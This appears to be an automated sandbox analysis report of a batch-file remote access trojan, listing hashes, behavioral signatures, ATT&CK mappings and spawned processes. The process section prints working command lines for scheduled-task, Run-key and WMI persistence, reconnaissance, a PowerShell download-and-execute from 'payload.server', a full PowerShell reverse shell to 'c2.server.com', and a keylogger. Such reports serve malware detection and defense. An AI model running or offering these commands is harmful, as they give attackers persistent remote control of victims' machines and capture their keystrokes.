Analysis
- max time kernel
149s - max time network
153s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
29/05/2026, 02:38
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_342211_014849.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_342211_014849.bat
Resource
win11-20260513-en
General
- Target rat_build_342211_014849.bat
- Size 4KB
- Sample260529-c4y7lsbs6j
- SHA256 a8d6dce9e9307faeb5d7a9634c3a00c7e52638841db5f4e74384c406d635de91
- MD5 0ef100714fe2aca13db71cb3e48ef4e3
- SHA1 7b5125d627fe04ef149dcf5106e56ce7e92ce59a
- SHA512 ac0cd432ea889f3b2992d5b77f921017a90134cbd4f8945617ef43b8bfe02d9faaa4a8fa35d2e3f079928f4b36e0dd4acd6bc2e79a445d1ac1b663fb46a2dfc3
- SSDEEP 96:KI4dWnJkJ0MVKpeLi4D5bblQq+zB7frDhh2TjgFFfiFgZk8mvlo1F7U:KEnJ9GJnlGlrDhh2TjeiFgkHl07U
- TLSH T182A128135797A520C5B06818CE333E58572CEAFB0345C74DA74ACAD45F4CB0BA92A6E3
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_342211.ps1
Signatures
-
pid Process 4172 powershell.exe 4064 powershell.exe 2020 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_342211 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_342211.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 5 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 4932 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4076 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 3360 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4680 schtasks.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4172 powershell.exe 4172 powershell.exe 4172 powershell.exe 4064 powershell.exe 4064 powershell.exe 4064 powershell.exe 2020 powershell.exe 2020 powershell.exe 2020 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3712 WMIC.exe Token: SeSecurityPrivilege 3712 WMIC.exe Token: SeTakeOwnershipPrivilege 3712 WMIC.exe Token: SeLoadDriverPrivilege 3712 WMIC.exe Token: SeSystemProfilePrivilege 3712 WMIC.exe Token: SeSystemtimePrivilege 3712 WMIC.exe Token: SeProfSingleProcessPrivilege 3712 WMIC.exe Token: SeIncBasePriorityPrivilege 3712 WMIC.exe Token: SeCreatePagefilePrivilege 3712 WMIC.exe Token: SeBackupPrivilege 3712 WMIC.exe Token: SeRestorePrivilege 3712 WMIC.exe Token: SeShutdownPrivilege 3712 WMIC.exe Token: SeDebugPrivilege 3712 WMIC.exe Token: SeSystemEnvironmentPrivilege 3712 WMIC.exe Token: SeRemoteShutdownPrivilege 3712 WMIC.exe Token: SeUndockPrivilege 3712 WMIC.exe Token: SeManageVolumePrivilege 3712 WMIC.exe Token: 33 3712 WMIC.exe Token: 34 3712 WMIC.exe Token: 35 3712 WMIC.exe Token: 36 3712 WMIC.exe Token: SeIncreaseQuotaPrivilege 3712 WMIC.exe Token: SeSecurityPrivilege 3712 WMIC.exe Token: SeTakeOwnershipPrivilege 3712 WMIC.exe Token: SeLoadDriverPrivilege 3712 WMIC.exe Token: SeSystemProfilePrivilege 3712 WMIC.exe Token: SeSystemtimePrivilege 3712 WMIC.exe Token: SeProfSingleProcessPrivilege 3712 WMIC.exe Token: SeIncBasePriorityPrivilege 3712 WMIC.exe Token: SeCreatePagefilePrivilege 3712 WMIC.exe Token: SeBackupPrivilege 3712 WMIC.exe Token: SeRestorePrivilege 3712 WMIC.exe Token: SeShutdownPrivilege 3712 WMIC.exe Token: SeDebugPrivilege 3712 WMIC.exe Token: SeSystemEnvironmentPrivilege 3712 WMIC.exe Token: SeRemoteShutdownPrivilege 3712 WMIC.exe Token: SeUndockPrivilege 3712 WMIC.exe Token: SeManageVolumePrivilege 3712 WMIC.exe Token: 33 3712 WMIC.exe Token: 34 3712 WMIC.exe Token: 35 3712 WMIC.exe Token: 36 3712 WMIC.exe Token: SeIncreaseQuotaPrivilege 1384 WMIC.exe Token: SeSecurityPrivilege 1384 WMIC.exe Token: SeTakeOwnershipPrivilege 1384 WMIC.exe Token: SeLoadDriverPrivilege 1384 WMIC.exe Token: SeSystemProfilePrivilege 1384 WMIC.exe Token: SeSystemtimePrivilege 1384 WMIC.exe Token: SeProfSingleProcessPrivilege 1384 WMIC.exe Token: SeIncBasePriorityPrivilege 1384 WMIC.exe Token: SeCreatePagefilePrivilege 1384 WMIC.exe Token: SeBackupPrivilege 1384 WMIC.exe Token: SeRestorePrivilege 1384 WMIC.exe Token: SeShutdownPrivilege 1384 WMIC.exe Token: SeDebugPrivilege 1384 WMIC.exe Token: SeSystemEnvironmentPrivilege 1384 WMIC.exe Token: SeRemoteShutdownPrivilege 1384 WMIC.exe Token: SeUndockPrivilege 1384 WMIC.exe Token: SeManageVolumePrivilege 1384 WMIC.exe Token: 33 1384 WMIC.exe Token: 34 1384 WMIC.exe Token: 35 1384 WMIC.exe Token: 36 1384 WMIC.exe Token: SeIncreaseQuotaPrivilege 1384 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 2684 wrote to memory of 4680 2684 cmd.exe 88 PID 2684 wrote to memory of 3360 2684 cmd.exe 89 PID 2684 wrote to memory of 3712 2684 cmd.exe 90 PID 2684 wrote to memory of 1384 2684 cmd.exe 91 PID 2684 wrote to memory of 4488 2684 cmd.exe 93 PID 2684 wrote to memory of 4076 2684 cmd.exe 114 PID 2684 wrote to memory of 4932 2684 cmd.exe 117 PID 2684 wrote to memory of 4172 2684 cmd.exe 118 PID 2684 wrote to memory of 4064 2684 cmd.exe 119 PID 2684 wrote to memory of 2020 2684 cmd.exe 120 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_342211_014849.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2684 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_342211" /tr "C:\Users\Admin\AppData\Local\Temp\_342211.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4680
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_342211" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_342211.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:3360
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_342211", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3712
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_342211", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_342211.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1384
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_342211.txt2⤵PID:4488
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:4076
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:4932
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_342211.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4172
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4064
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2020
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
- MD5 2f57fde6b33e89a63cf0dfdd6e60a351
- SHA1 445bf1b07223a04f8a159581a3d37d630273010f
- SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
- TLSH T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 383e2fb9976eaed3200af5ed50a47ee1d0b902d59de18296ef6677a1358be351
- MD5 498057a1a851d43d64bcee87b953efff
- SHA1 972b26714c446466840108191d3c6f354363bf83
- SHA512 141d64f095fb698e614fc01b07c308cd4a3bed4a4beb4b92eed77bbde1da12b548bc022615fd06b1f262f22b7dcfe0ddb92a6095483d8930553850294033dd2b
- TLSH T193115327B39C8921CC96153A509DAC1172B683DB81AEDE9FAFC4D214A07F984CB612A4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 b57aa249a005540b32c2f20a7167c5aa9fca4aefac306c69fdcfbf669b18500b
- MD5 0f6673935c3ee8644b9b1e82589b3b5f
- SHA1 e87078a9502e144cf80f7915fdfdf4d057a3fcb1
- SHA512 dce4202088050141ffcd3ff3e639a8f42f5dfba73883927bc158d73746f2f2a5bde52b86d7d03e57cd848032a74b7c45f12e6d153df6cb3652a3c13e03d8081f
- TLSH T169115727B39C99A1CC96153A409DAC1172B683DB409EDEDF6BC0D214A17F584CB61190
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xdjudgmg.4il.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH